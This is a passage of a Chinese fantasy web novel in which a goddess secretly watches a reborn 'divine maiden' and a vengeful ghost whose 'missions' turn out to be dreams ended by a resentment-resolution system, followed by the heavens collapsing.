那么，被虐文男主甩锅的倒霉蛋是谁呢？ 李寻真。 当然是李寻真！ 虐文男主谢承想，若不是这个该死的神女突然觉醒，他又何必为了保护她而杀死他心爱的人儿？ 当初的那个晚上，李寻真为什么要“觉醒”？ 为什么李寻真不能好好当宋茵茵的替身，被他杀死在那个晚上的宫殿里？ 倘若李寻真那时候便在那个宫殿里以宋茵茵的身份死去了，如今的他只要开始“后悔”，他的好徒儿必定会第一时间跳出来，同他解释清楚误会。 到了那时，他就会彻底明白自己究竟有多么爱自己的徒儿，明白真正的悲剧从未降临在自己身上，从此以后，他就能洗心革面，好好对待茵茵，再不会为了任何人任何理由让她受委屈。 可偏偏，李寻真“觉醒”了。 于是他为了这个可恨的神女，为了这该死的责任，彻底杀死了自己的爱人！ 再没有回旋的余地，也再不是他那狡黠爱人设计的恶作剧——他真正地亲手杀死了自己的爱人！ 而这一切都是李寻真的错！ 谢承混乱地想着：如果那天晚上李寻真死了就好了……一切都是因为那天晚上的李寻真不肯去死！ 既然如此，那就让他送李寻真去死吧！！ 一念成仙，一念成魔。 谢承花了一个月时间，终于彻底接受了宋茵茵死亡的事实，然后，也正是在这一个瞬间，他堕落成魔！ 堂堂仙帝，竟为了爱人堕落成魔？！ 这是多么情深意重啊，多么令人潸然泪下的事啊！ 李寻真见了都感动不已。 于是她一巴掌送这位深情男主去见宋茵茵了。 ——啪！ 只是一耳光，李寻真就把那位意图绑架谋害虐杀她的谢承打成了爆炸的西瓜。 谢承，堂堂仙帝，天界帝王之一，卒。 “真煞笔。” 李寻真甩了甩手，甩掉那粘腻的触感后，冷笑一声，转身踏入界门。 只不过，她并非是向着界门的中心处——那个链接着天、地、人三界的核心之地走去，去亲眼看自己放出的凶兽相繇，到底让那些高高在上的仙人妖族万鬼众们露出了怎样令她愉快的表情。 一旁观察着的颜辞云，本以为她会这样做的。 但事实上，李寻真只是穿过界门，回到了人间。 颜辞云看着这样的一幕，心中不解：竟然是人间？李寻真为什么又来到人间？ 她明明已经找到了“水魔兽”不是吗，如今的她，还有什么回到人间的理由吗？ 是为了寻访故人？ 在穿越之处，李寻真的确有在人间生活过一段时间。可如今，李寻真已经离开人间将近百年，她曾经的故人也好仇人也罢，全都已化作尘土。 所以，是为了落叶归根？ 可这个世界也并非她的故乡。 李寻真本就是身如浮萍的异界之人，而在她来到这个世界后，这世界发生的一切都没有给她留下任何值得留恋的回忆。 是，当帝昭还只是在底层挣扎的孤儿时，他或许在李寻真面前表演过情深意重，或许跟李寻真在人间留下过“美好回忆”。 可这一切的回忆，都在帝昭青云直上、成为魔族少主后，化作了最可笑的讥嘲。 所以，如今的李寻真，还有什么去往人间的理由？ 抱着这样的疑问，颜辞云跟在李寻真身后，顺着界门，悠悠飘向人间。 在穿过界门，降落大地的那一刻，颜辞云看到了一片赤土。 那是由炙烤大地的火焰和浸润泥土的鲜血染成的红。 颜辞云放眼望去，界门出口附近的村落城镇一片尸山血海，唯有空气中残留着森然鬼气。 ——是那群和秦如霜达成过约定的万鬼众。 虽然，作为这场阴谋的最初提议者，秦如霜已不打算再继续这个计划了，而她本人如今也身陷相繇之灾，被逼得形象尽毁，如野兽一样连滚带爬地奔逃着。 可为了掩饰自己的目的，更因为没有这个必要，她没有向鬼王提出“不必再屠戮凡人”。 而作为这场阴谋的实施者，那些恶鬼其实也没打算再跟秦如霜合作，而是决定背刺这位旧神女，亲自去取“属于自己的权力和地位”了。 可就跟秦如霜一样，为了掩饰自己的真正目的，更因为没有必要，它们依然“按照计划”，屠尽了周遭的城镇。 当仙人们还有余力在相繇之灾里哀嚎尖叫、四散奔逃时，人间的凡人已经结束了他们的哀叫，在熊熊的火焰中无声化作焦尸。 而颜辞云和李寻真，就是在这个时候来到这里的。 她们静静地看着这一切，谁都没有做点什么，谁也没有说点什么。 只除了—— 【喂，你在看吧？】 突如其来的声音在颜辞云耳畔响起，吓了颜辞云一跳。 而更让颜辞云震惊的是，这个声音并非来自李寻真，也不是来自这片焦土上的任何生物，而是来自……倪静如？！ 这一刻，颜辞云猛地将视线切换到倪静如那边，发现这位被迷雾笼罩了数日的任务者的视角，在此事豁然开朗！ 灰蒙蒙的雾气散开了，像是与整个世界都隔着一层什么的死寂感也消失了，一切都好像变成了寻常的样子。 不过，倪静如此时并不在镇国公府里，而是身处一栋废弃已久的宅邸废墟里，更远一些的地方也不是城镇，而是一片寂静无人的荒野。 也不知道她被迷雾笼罩的那段时间里究竟发生了什么。 并且，倪静如此刻身上的衣服也颇为奇怪，不是“好女人风”“好嫁风”“当家主母风”，而是穿着一身材质古怪、颜色有些瘆人的红裙红鞋，长发也没有如寻常那样挽起，而是披散在肩头，随风飘荡。 但！这些都不重要！ 重要的是倪静如刚刚说的话！ ——她刚刚在说什么？ 她在说…… 【说话吧，我知道你在看着我。】 这一瞬间，颜辞云几乎头皮发麻，既有种被打破了第四面墙的微妙悚然感，又有着偷听邻居闹家庭矛盾被发现了的尴尬感。 颜辞云：不是，那个，这不对吧？ 这怎么也能被发现的呀？！ 这样的念头只是一闪而逝。 很快，颜辞云就回过神，明白此刻状态古怪的倪静如不可能是在跟她说话。 首先，颜辞云没有插手倪静如的任何事、任何生活和任何决定。 假如李寻真还有可能在心里猜测那个为她实现愿望的“人”，有可能还没有离开，那倪静如则是绝不可能发现颜辞云这个从未与她发生过交集的隐形人的存在的。 其次，颜辞云对自己的实力还算是有信心。 就说相繇那个小卡拉米，都能在这个世界扮演“末日天灾”里的水魔兽，她这位四季之神、新任应龙，又怎么可能这样轻易被凡人发现？ 就连那个怨气化解系统都没有发现她的入侵，倪静如怎么可能发现她？ 所以，倪静如的这两句话，绝不是在跟颜辞云说！ ——那她在跟谁说话？ 颜辞云心中刚冒出一个猜测。 而下一秒，她的猜测就被印证了。 【是的，我在。宿主，你想要跟我说什么？】 ——果然是系统！ 而且，它原来也不是什么人工智障，而是一个具备真正独立思考能力的高级AI？！ 那它之前为什么要扮演人工智障？ 不……在这之前，它甚至还懂得扮演一个人工智障？ 还有倪静如，她又准备跟这个系统说什么？ 这一刻，颜辞云精神一振，所有注意力都转移到了倪静如这一边来。 第132章 真相（二） 恶鬼的美梦…… 寂静的荒野里，颜辞云首先听到的是风声。 它从遥远的地方而来，挟带着粗粝的风沙，扑打在倪静如猎猎作响的猩红衣角，发出细微的簌簌声，像是雨落江河。 有那么一瞬间，颜辞云觉得，这样衣衫碎裂，长发凌乱的倪静如，其实挺好看的。至少比那个每个细节都透露着金钱堆砌和高贵的“大家主母”要好看很多。 颜辞云其实知道，世上的大部分人其实会更喜欢那种“财富养人”和“身份抬人”的精致的美丽，那种仿佛在聚光灯下熠熠生辉的众星捧月与惊艳窒息。 但颜辞云自始至终都偏好自然的舒展和自由的野性。 颜辞云不羡慕所谓的“花花轿子人抬人”，因为她更喜欢大家平等而自由地交流，太多的心机和奉承只让她觉得无聊。 而颜辞云也不需要在万众瞩目和无数人的托举下手摘星辰，向世界证明和宣告自己的到来，因为比起“摘星辰”这样的活动，颜辞云更偏好种一亩土豆。 无拘无束，自由自在。 忙时种地织布，闲时坐听风雨。 不需要和旁人比较，不需要“在XX岁前达成XX目标”，不需要“在XX岁时完成XX任务”，不需要满足谁的期望，更不需要支撑起谁的人生——这就是颜辞云心中最完美的生命。 而倪静如如今的模样，就极接近颜辞云喜爱的“纯粹的野性与自由”。 所以，当看到这样的倪静如时，颜辞云心中第一时间升起的，是一种难言的喜爱之情。 像是看到关在笼子里的鸟儿终于振翅高飞的欣慰和感动。 但是，下一秒，当颜辞云看清倪静如周遭的模样后，这样的喜爱啊感动啊欣慰啊，就全都凝固了。 就是说……倪静如现在……是不是有点“自由”过头了？ 颜辞云在第一眼骤然望去时，只以为倪静如在她不知道的时候从镇国公府离开了，抵达了一个荒郊野外的废弃旧宅里。 可如今再看，这哪里是什么“荒郊野外”“废弃旧宅”？ 远处，那片白茫茫灰蒙蒙的大地，哪里是什么荒野？ 那分明是无数堆积又风化的人骨！ 而眼前，这栋残破废弃的旧宅，又哪里是什么“不知名的废屋”？ 这分明就是镇国公府被放置废弃百余年后的模样啊！ 颜辞云看着这一幕，大为震撼：不是，姐们，你这干哪儿来了？ 这还是大启朝吗？ 颜辞云当机立断，拿出水怪之触，开始向青阳元德询问这段时间来，当他们和大启联系时，有没有听过有关镇国公府的小道消息。 而在颜辞云这边收集消息时，倪静如和系统的对话，也在进行。 倪静如：【我已经想起来了。】 系统：【想起来了什么？】 倪静如：【有关我的一切。】 系统：【是吗。】 倪静如：【所以，事到如今，难道你没有什么话想要对我说吗？】 系统沉默了片刻，似乎是在思考。 而倪静如却没有等待系统的回答。 【我曾经，有很长很长一段时间，都沉浸在一个‘美梦’里，一个只要我做对了，就会得到奖赏和回报的梦，一个只要我不出错，我就会永远安全的美梦。 【这个世界是公平的。 【天道好轮回，不是不报时候未到，天道酬勤，善恶有报……看啊，这么多这么多的词句和话语都在告诉我，世界是公平的，努力是会得到回报的，所以—— 【如果我遭受了苦难，一定是因为我有什么事没有做对；而如果我没有得到回报，那也一定是因为我还不够努力。 【不是任何人的错，是‘我’的错，是我不够完美，不够努力，不够好……而在梦里，我是完美的，是努力的，是最好的……所以……我得到了回报……】 倪静如停顿了一下，抬头仰望好似虚无的天穹，声音越发飘渺。 【但这个梦……究竟是美梦，还是噩梦呢……不知道，我分不清……我只是不想醒来……】 一遍，又一遍，再一遍。 无数遍的重复。 哪怕她的“身体”在遭受苦难，哪怕她的“人格”在被人践踏，但她的“心”却活在一个安全的世界里。 即一个公平的、善恶有报的世界里。 所以她的付出终将被看到，而她失去的一切也一定会回来！ 这个梦，或许持续了很多很多年，又可能只持续了短短时间。 因为系统出现了，并且将她从这个不知道是噩梦还是美梦的梦境里带走，让她以空白的姿态重新开始。 直到她终于明白了这一切。 直到她终于醒来。 【我想，我或许应该恨你、或者你们？】 当一个绝望的恶鬼沉浸在她绝望的美梦里时，她是不容许任何人打扰的。 【可事实上，我很感谢你……谢谢你、或者你们的陪伴。或许这句话有些迟了，但我真的很感谢你。 【现在，一切都要结束了，在最后这一刻，我可以知道你、或者你们的名字吗？】 偷窥视角的颜辞云听得云里雾里，好像明白了什么，可仔细一想却又什么都不清楚。 什么美梦？什么公平？ 什么爱恨？什么结束？ 怎么突然就说到这些了？ 她到底跳过了多少集？ 颜辞云几乎有些紧张起来。 而与此同时，颜辞云手上的水怪之触也动了。 这第一个传话过来的人，是蹲守万人迷金莲、有许多空间时间用来八卦的元德。 【神女大人，您竟然也知道镇国公府吗？】 颜辞云心中咯噔一下，突然感到有什么地方不对。 什么叫“竟然也知道镇国公府”？ 明明一个月前，当明懿长公主死亡的时候，青阳和元德两人还把镇国公府的事当作素材说给她听。 明明在离开大启之前，有关镇国公府的风言风语就化作了故事，改名换姓后出现在酒楼茶馆的说书人的口中。 整个大启朝，谁不知道镇国公府的那一堆烂账、一出好戏？ 为什么现在的元德，却一副……一副镇国公府并不存在现行时间线上的样子？ 想到倪静如此刻身前的那座破败府邸，想到半个多月前那场突然笼罩下来的迷雾，还有倪静如口中的“美梦”“公平”“离开”…… 颜辞云觉得，自己似乎正在离某个不可思议的真相越来越近。 这边，元德还在通过水怪之触，勤勤恳恳地向颜辞云传递消息。 而另一头，倪静如和系统的对话也已经接近尾声。 【很高兴陪伴宿主的这段时间，如今您的解脱，就是对我们最好的感谢。我们是怨气化解系统，是为了让每一个遭受不公之人，达成超脱、释然迎接往生而存在。您也可以叫我们美梦成真系统。】 颜辞云敏锐捕捉关键词：等等，“美梦成真系统”？这不是帮助李寻真穿书的那个系统吗？！ 倪静如轻笑一声。 【‘美梦成真’？也罢，如今的这梦，或许也算‘成真’吧。】 【……】 【那么，这就是我们的最后时刻了吧？】 【……】 【谢谢你，谢谢你们，我已经再没有牵挂了……就此，送我离开吧。】 倏尔，就在倪静如话语落音的这一瞬间，颜辞云通过倪静如的眼睛，看到了光。 并不是如千万人目光汇聚的恢弘之光。 而是如一束烛光般，微小，但坚韧而稳定的光。 这束光，不为其他的任何人而来，而只为照亮倪静如的前路而来。 于是倪静如也欣然一笑，踏上了这条通向虚空的路，渐行渐远。 颜辞云沉默地看着这一幕，而她手上的水怪之触——不仅是元德，就连神之部族边缘处的青阳也拿起了笔——则还在不断向外吐出字句。 从元德和青阳两人的消息结合得知，镇国公府的确不存在于现行线上的大启王朝……甚至大启朝根本就没有什么镇国公府。 那镇国公府，原来是数百年前就消失在了时间长河之中的前朝贵族！ 但，由于镇国公府的消失极具戏剧性、传奇性，所以哪怕改朝换代之后，也依然有关于镇国公府的故事流传。 颜辞云细细看了，发现除了朝代不对之外，那有关镇国公府的背景来历、前世今生，都和颜辞云通过倪静如的眼睛了解到的相差不大。 除了多了个主子——那个一直隐身的镇国公外，整个镇国公府的经历，从下狱流放到起复入朝，从国公世子的一往情深到移情别恋，都是颜辞云最初了解的样子。 以及最重要的一点——世子夫人倪静如的性格。 听说，镇国公府的世子夫人倪静如，因是商户出生，所性格也带了商户的斤斤计较与圆滑逢迎。 这是个非常有手段的女人。 当镇国公世子爱她时，这样的倪静如是主母风度、会管家、懂人情。 而当镇国公世子不爱她时，这便成了小家子气，媚上欺下，毫无风骨，上不得台面。 特别是当世子夫人不肯让平妻进府，在镇国公府大闹了一通后，她更是犯了妒忌之罪，七出之条！ 只不过，镇国公府到底心善，没有赶整个妒妇出府，而是留了个小佛堂给她，也算是给她留了一条活路。 但偏偏，这个妇人不甘寂寞，在佛堂里勾搭了男人不算，甚至为了逃跑，还想要偷走世子书房里的军事机密售卖！ 镇国公世子见状，终于对她彻底失望，把她送去了皇城司，让皇城司秉公处理，不必顾忌镇国公府的颜面。 而在一番刑讯逼供后，曾经的世子夫人终于认罪，当朝皇帝怒而下旨，让人将这个毒妇立即拖到菜市口，斩腰弃市。 直到这里，这个故事依然是老套的，陈旧的。 不管世子夫人是真偷人假偷人、真叛国假叛国，总之太阳底下没有新鲜事，大家看着，也就只是看着罢了。 可谁料到，众目睽睽之下，那本就已经在刑讯逼供下奄奄一息的世子夫人，在被腰斩后，竟然没有死去，反而如回光返照般大喊了十二声冤枉。 但在场众人无一回应。 也不知道是被吓住了，以致于无人敢回应，还是真的对此惨景无动于衷。 只见，那世子夫人拖着半边身子，喊了十二声冤枉，见无人应她，便喊道，“若老天有眼，便降下异象，证明我的清白罢”。 但什么都没有发生。 于是她大笑一声，说了两句话后，便彻底死去了。 而这两句话里，她第一句话是： 世道不公，苍天负我。 第二句话是： 我诅咒你们，那些所有负我恨我笑我欺我之人，都将如我一般永堕地狱！ 【然后呢？】 颜辞云问。 然后，整座王城，在这一夜之间，被夷为平地，徒留一座空荡荡的镇国公府伫立。 而王城里那些活着的东西——无论是高高在上的王公贵族，还是无名无姓的贩夫走卒，甚至是那些待宰的鸡鸭牛羊！ 只要是还留在这座王城里的活物，都在这一个无声的夜晚消失不见。 直到如今，也有很多人为这一场旷古烁今的千古奇案议论纷纷，猜测那个王城的一夜消失，究竟是老天的后知后觉，还是蒙受奇冤的世子夫人化作厉鬼前来为自己复仇。 总之，这个王朝气数断绝了。 而后来的大启朝，则抛弃了那个晦气的、被夷为平地的王都，在新的地方建立起了新的王朝。 但仍有一些好事之人，会胆大包天地去往那个前朝旧址上唯一伫立的镇国公府里探险，试图触碰到数百年前的那场奇案，甚至试图招到王城旧人的魂魄！ 只不过，他们都无功而返。 之后，也不知道是什么缘故，约莫三四十年前，前朝王城旧址上的那个镇国公府，也蓦地消失不见了。 于是，那有关前朝镇国公府的一切，便彻底成为了一个不知真假的民间传说。 说完这一切之后，青阳问道：【神女大人，您突然问起这个故事，可是因为心中有了什么章程？】 颜辞云想了想，回道：【倒不是什么章程……我只是在想，假如这个传说是真的，在那个镇国公府里，真的有一个数百年都没有消失的厉鬼……】 那么有一天，有个“人”专程为了超度这个厉鬼、为了让她得到解脱而来……那这个“人”，又是什么样的“人”，怀着什么样的目的？ 顿了顿，颜辞云突然想到一件事。 【你们还记得明懿长公主吗？】 青阳和元德都很快回答。 【什么明懿长公主？神女大人问的可是夏王朝的事？还是更远的事？需要我们去为您探听吗？】 【不必。】 放下水怪之触，颜辞云长出一口气。 ——果然如此！ 此刻，空茫茫的大地上，倪静如也好系统也好，全都消失不见了，就连这片由人骨组成的世界，也在一点点分崩离析。 但颜辞云的视线仍停留这一处，注视着它们一点点化作灰烬，最后从恶鬼的梦中脱离，沉沉落入真实的世界里。 轰——！ 剧烈得就像开天辟地的声音，从极遥远的地方传来，在虚空中回荡。 颜辞云终于收回遥远的目光，看向身前的李寻真。 倪静如并不是“任务者”，而其实就是倪静如，并且一直都是倪静如。 而倪静如做的那些“任务”，其实也不过是“恶鬼的梦”罢了。 虽然这些梦一度干扰到现实，影响到了现实这些人的认知，但最后，它们终究都会消散。 因为那所谓的“怨气化解系统”，正是为了让这个恶鬼从数百年的梦里醒过来的工具！ 既然如此，那么，你呢，李寻真？ 你是否也和她一样，根本就不是什么任务者，而一直都是李寻真？ 那你的“梦”，又是什么？ 第133章 真相（三） 那灭世的预言…… 颜辞云原本以为自己很快就能从李寻真的身上得到答案。 颜辞云有这种预感。 可颜辞云忘了计算两个干扰项。 其中第一个干扰项，就是颜辞云如今对时间的感受，和她对“很快”的定义。 事实上，在接过应龙神位成为四季神明后、不，或许是在颜辞云失去记忆降临在那片莽荒大地上后，颜辞云对时间的概念就已经十分模糊了。 对于生命长度也有限的人来说，为了争夺有限的生存资源，他们的每一秒都是十分珍贵、都要锱铢必较的。 为了XX而奋斗、XX之心永不止息、不想当XX的XX不是好XX，等等，有无数的话语和理由可以裹挟着他们向前，让他们深信他们只要有一秒停下脚步，就会立即被世界淘汰、就会失去自己拥有的所有一切。 而对于颜辞云来说，她没有什么迫切需要的东西，并且她觉得自己已经活得很好了，甚至还在越来越好，所以她一天的时间很长也很短。 有时候，颜辞云甚至只是抽空装饰了一下金丘上的山脉、又清点了一下满地开花的兔子窝，时间就随便过去了十天半个月。 所以，对颜辞云来说，什么叫“很快”？ 是看一亩地的作物从种子到成熟的时间算“很快”？ 还是在凤凰台上学习奏曲，看自己从磕磕绊绊到抬手成曲的时间才算“很快”？ 又或者是出一趟远门，一边调解蛮荒大地上原住民们的矛盾一边用脚丈量完一整块大陆所花费的时间算“很快”？ 这很难说。 而第二个干扰项，就是颜辞云对这方小世界“大人物”们解决问题的效率预估出错。 按照颜辞云的想法，既然“水魔兽”都出现了，甚至三界之门这样的要地都被占据了，大难当前，天地人三界和人魔妖各族，怎么都应该摈弃前嫌、团结一致，共同对抗预言中的灭世灾祸了吧？ 而只要这场灾难结束，那些有关李寻真的“真相”，怎么也该浮出水面了吧？ 但是——欸嘿，就不！ 在“水魔兽”相繇出现的第一天，各族溃败，各色光芒的传讯符满天飞，有搬救兵的，有传递消息的，有组织人手的，有痛斥手下消息收集搞得一塌糊涂的。 而在经过一整天的传讯符乱飞后，水魔兽出现的第三天，万族会议召开了。 这一开就是一个月。 一个月后又是一个月。 第三个月了还没结束。 颜辞云：不是，哥们？？ 真就世界毁灭你睡觉呗？ 谁家好人面对灭世灾难能开会开三个月的？你们到底是想活还是不想活啊？！ 当然，这可能跟各族都在很远的地方，需要时间赶到指定地点有关。 当然，这可能还跟各族紧急时刻关闭了三界大门，把相繇暂时关在了界门之地有关。 这甚至还可能跟仙帝谢承和神女李寻真的齐齐“失踪”有关。 可理由再多，也不是你们面对灭世灾难开会开三个月的理由啊！ 因着这个理由，颜辞云抽了个时间去万族会议之地旁观了几天。 她发现，这群人类和非人类在会议上讨论的，并不是怎么组织有生力量剿灭或者封印“水魔兽”，也不是怎么把水魔兽驱逐出界门这种重要地方，更不是加班加点地研发针对相繇毒液的解药。 那他们究竟在干嘛？ 第一个月，他们在讨论水魔兽侵入界门到底是谁的责任？ 颜辞云：？ 第二个月，他们在讨论各族该出多少人手去面对相繇，以及大声哭穷。 颜辞云：？？ 第三个月，他们为了相繇死后那些皮骨血的战利品分配，以及各族权力的再分配大打出手。 颜辞云：？？？ 怎么搞定相繇的办法还没想好呢，怎么分配相繇死后的战利品和争权夺利的事倒是提前安排上了？ 颜辞云实在不想对他人太过刻薄的，可是在这样的一刻，面对这样的一幕，颜辞云第一时间想到的依然是这样的一句话： 庙小妖风大，池浅王八多。 懒得太过关注万族大会的事，颜辞云便将大部分注意力一分为二。 一部分注意力放在本体那边，继续种地，囤积食物。不为别的，就是单纯想囤。 顺便，再随机取用作物植物甚至生物放进水火炼葫里，看能不能再炼制出相繇这样的怪东西。 不得不说，这实在有种开盲盒的快感。 而与此同时，颜辞云将另外的一部分注意力放在了李寻真身上，好奇地跟她走入这方世界的人间。 当离开了界门处那百里的尸骨和千里的赤土后，一个姑且能算得上繁荣的小镇出现在了颜辞云面前。 颜辞云说不上它有什么特别的，无非就是村民、农民、佃户、里正、乡绅、地主、官员。 在这种封建集权制的国度里，这些人员的称呼或许有所出入，但人员的组成却都是大同小异的。 颜辞云看不出这个城镇比其它城镇特别在哪里。 可偏偏李寻真就是在这里住下了。 她拿出她从魔族族地里带出的唯一物品——一支在人间或许勉强称得上贵重，但在魔族宝库里平平无奇的镶蓝宝石白玉簪，去当铺换了财物。 拿着这份财物，李寻找到当地里正，说自己是因战乱而走到这里的流民，接着以财物开路，先是让里正给她开了张条子，去镇上的府衙办了户籍证明。 接着，李寻真又拿着自己的户籍在镇上租下一间小院子，再随手买了几张素白帕子，一些针头线脑，坐在院子树下的石凳上，借着天光，绣起了帕子。 颜辞云看的十分惊讶，几乎是目不转睛，因为李寻真似乎真的非常擅长这个，飞针走线间，竟然不到一个时辰就绣出了一副完整的芙蓉鲤鱼图！ 众所周知，刺绣是非常消耗精力心力的事，一副好的绣品，哪怕花上数月甚至数年时间都不稀奇。 可李寻真只是短短一个时辰就完成了一副绣品……虽然，这副绣品远称不上精品、称不上出类拔萃，可它确实十分完整。 因此，李寻真拿着它，轻松在绣楼里换了两小块碎银，甚至还从绣楼管事那儿接了个活。 之后，她去到镇上唯一的酒楼，花了一小块碎银点菜。 酒楼的菜品其实算不上好。 毕竟这只不过是一个无名小镇的无名酒楼，还是生产力低下的古代，恐怕方便面放这个年代，也算得上惊世美味了。 可李寻真吃得很香，像是回忆着什么，也可能是补偿着什么。 吃饱喝足，李寻真买了些日常用品，如褥子被子、锅碗瓢盆、衣物鞋袜等用品，再雇人送到自己的院子后，她将这些东西简单整理了一下。 最后，当天黑时，李寻真在院子的井里打了桶水，用冷水冲了个快澡，擦干水渍，换上睡衣，躺在有些硌人的床板上，闭上眼，在这个简陋的房间里结束了这对常人来说平平无奇，却或许是她渴望已久的平凡一天。 之后，一个月，两个月，三个月。 连续三个月，都是如此。 日出而作，日落而息。 没有惊天动地的爱恨情仇，乱花迷人的富贵荣华，只有平淡如水的一日三餐，茶米油盐。 颜辞云坐在院墙上，托腮看着李寻真这样日复一日，没有做任何评价。 虽然颜辞云知道，对于大部分人来说，李寻真如今明明拥有了强大力量，却竟然没有趁热打铁、挟水魔兽以令万族，冲上天界，把仙帝赶下台，一力整顿三界万族，建立起一个新秩序，无疑是一种“暴殄天物”的做法。 而李寻真丢下界门处的水魔兽，既不去统治世界，又不去拯救世界，既没有将自己神女的威名打出去，更没有用自己的力量为世人造福，只一心沉浸在人间这过家家的凡人小游戏里，更是一种“不上进没出息”、“烂泥扶不上墙”的表现。 甚至再严重一点的，还会有人认为李寻真配不上这份力量，更配不上“神女”的名头！ 可是，颜辞云却在思考另一件事： 为什么当了“神女”，就一定要奉献要牺牲，要做“大”事干“伟”业？ 神女就不能只是神女吗？ 她就不能只活在她的世界里，过她平静无波的一生吗？ 还是说，在拥有了强大力量后，却不肯为他人牺牲奉献的，就不配成为神女，只能叫做妖女——可为什么女人不是“神女”，就要是“妖女”？她不能仅仅只是她自己吗？ 当然，面对这样的问题，还有一个受众很广的说辞，是“你既然拥有了这样大的权力，你就要承担牺牲奉献的沉重职责”。 可是，神女到底有了什么权力？ 真正拥有巨大权力的人，难道不是所谓的什么什么“帝”吗？ 仙帝、魔帝、妖帝、鬼帝，等等。 那么多帝王都在享受他们的无边权力，对旁人生杀予夺，在世界肆意妄为，分明从未为世界为世人牺牲奉献什么，却从未有人说过他们不配。 怎么轮到“神女”，就一定要奉献，否则就是“不配”了？ 这就像是古代的和亲公主。旁人都说，公主享受了她的权力地位、荣华富贵，所以国难当前时，她理应牺牲奉献。 可皇子享受的权力地位、荣华富贵不比公主多得多吗？怎么不见皇子去和亲？ 甚至是那高高在上的皇帝——他才是整个国家真正的主人，他才是真正享受了最大的权力和富贵的人！ 可为什么分明是皇帝没有治好国，分明是皇帝惹出了一堆烂事，付出代价的却是没有继承权的公主？ 颜辞云总是想不明白这些事。 颜辞云总是觉得这个世界像一场巨大的规则怪谈。 真正该承担责任的人往往是隐身的、是没有存在感的，是连名字都不会出现的，而那些相互倾轧、为此打得头破血流的，却是受害者们。 颜辞云真的没有办法理解这样的事。 所以颜辞云一直谨慎观察着、避免着自己闯入这场由他人写下的怪谈规则里，宁可与野兽为伍，也不想深入人类的文明。 所以颜辞云对李寻真这样不遵守规则的“不配”的人，也一直抱以最大的宽容和体谅。 只可惜，颜辞云并未能就这个问题深入思考下去，因为李寻真这份好不容易得到的平凡生活，并未持续多久。 在“水魔兽”相繇被关在界门的三个月后，天地人三界万族，终于看到了把一只可怕凶兽关进三界界门这样重要之地的后果—— 那支撑三界的天柱，被相繇撞塌了！ 天，破了。 无边无际的水、不知从何而来的水，从那天柱倾塌的地方汹涌而出，遍布三界！ 于是，那灭世的预言，终于在这一天应验了！ 第134章 天倾（一） 天柱倾塌的那…… 天柱倾塌的那一天，是李寻真来到人间的这三个月里再平凡不过的一天，也是颜辞云在大世界里平平无奇的修缮日。 所谓的修缮日，没啥好说的，不过是因为颜辞云这位天神大人眼皮子底下接连跑了三只巨兽，感到十分挂不住，这才特意从自己的种田日常里忍痛留了两天出来修监狱罢了。 值得一提的是，这座监狱的地点，颜辞云设在了金丘以南的焦侥大地。 一来，焦侥大地极广，且因气候炎热，物种并不算多。 除了那群与颜辞云颇有共同语言的环境保护者火鸟群之外，焦侥大地上便只剩一些繁殖力超快的痴蠢小兔子、壳糙肉厚又溜得快的蜥蜴蝎子之类的动物了，因此，哪怕颜辞云圈出一块地来造监狱，也不会对当地生态造成太大影响。 二来，焦侥大地上的火鸟们也算是一群天然的看管者。 这群小火鸟们，虽然好奇心不大，但破坏力极强，攻击力极高。平日里最大的乐子就是守株待龙，等待它们不长眼的死对头撞上门来被它们围殴，日子过得算不上无聊也算不上有趣。 因此，当火鸟们知道颜辞云要在它们这儿建一座用来圈住大型凶兽们的监狱时，它们开心极了，甚至自告奋勇，主动要来给颜辞云当狱卒，最后被心怀人道精神的颜辞云婉拒了。 三头犬和年兽虽又笨又傻，性格凶恶，但它们到底没做过什么坏事，罪不至此啊！ 而至于相繇？ 颜辞云就没打算把它再接回八州八山之地。 在相繇逃出八州八山之地，潜入小世界，并投入共工麾下后，它早已经在人间杀得血流成河，成为一头彻头彻尾的凶兽了。 颜辞云可不想把这么一个臭名昭著的凶兽接回去，让它以蹲大牢的方式逃脱此方世界人们的报复。 并且颜辞云觉得，以相繇自己的想法，它恐怕也是宁可自己被人在这方小世界里追杀至死，也不想要再回到八州八山蹲大牢的。 达成共识了这不是。 颜辞云干脆利落地把相繇从自己“不听话的小宠物”名单上划掉。 接下来，就该去寻找建大牢的材料了！ 这一头，在颜辞云的本体站在八州八山里琢磨着怎么建一座牢固的大牢玩监狱模拟器时，另一头，李寻真这边的生活也是过得平稳又惬意。 李寻真是这个小镇的外来者，并且还是无亲无故、搬来不到半年的外来者。 按理来说，李寻真这样美貌的孤女独自在穷乡僻壤里过活，必然是十分艰辛的，天灾人祸、苛政地税、乡绅地主、地痞流氓，那每一层的胡搅蛮缠，落在古代孤女的身上都是致命的。 可是，当一个古代的孤女再难，会有当一个孱弱瘦小还带着两个拖油瓶的孤儿更难吗？ 那些更难的苦日子，她都咬牙熬过来了，如今她已经成年许久，又身怀重器，怎么还可能会惧怕这么一点儿小困难？ 因此，当李寻真白天踹翻四五波过来找她麻烦的地痞混混，晚上又拿着磨得锃亮的菜刀，坐在当地县令乡绅的床头，和他们心平气和地谈论了一下当地的治安与发展后，李寻真明面上便再没遇到过什么麻烦事儿了。 而在没有了人祸的骚扰后，李寻真靠着自己的绣技，很快就与当地绣楼达成了长期合作。 因李寻真实在绣得快，绣楼甚至还想专门聘了李寻真来，走量大管饱的平民路线。 但李寻真果断拒绝了。 从李寻真的角度出发，她如今安心在这小镇里卖绣品赚钱，是为了有一条平稳入账的路子，是为了安心过自己的养老生活。 而如果她为了挣更多的钱财而挤压自己的生活时间，那岂不是本末倒置么？ 这样的事她怎么可能做！ 李寻真这样的思路，与颜辞云的想法可谓是不谋而合，但对于古代这些在底层挣扎生活、抗风险力极低的普通人来说，却是很难理解人为什么有钱不赚的。 因此他们思来想去，很快为李寻真的拒绝找到了理由： 一定是李姑娘知道绣楼管事想要辞退楼里的绣娘，所以不想断了绣娘们的生路，这才忍痛拒绝的！ 想也知道，一个小镇里的绣楼能卖出多少绣品、养活多少绣娘，所以，当李寻真这样一个绣品量大管饱的大鲶鱼闯入市场后，如果她不管不顾地疯狂向外输出平价绣品，那她挤压的必定是那些普通绣娘的生存空间。 甚至是那些为了补贴家用而加班加点在家绣点小东西的平民妇人们，也必然会因此受到极大影响。 那绣楼管事手下的绣娘学徒、街坊邻居们也透过口风，说那管事这些天来似乎有打压本地绣娘、压低绣品收购价的打算，只不过不知道为什么又很快不提了。 如今再想，这种似是而非的口风，不就是那管事生出了把李姑娘攥在手里当摇钱树的念头，所以暗地里准备解雇所有低级绣娘么？ 而最后，是因为李姑娘断然拒绝了管事的聘用，绣楼管事才不得不忍痛改了打算。 所以这一波叫什么？ 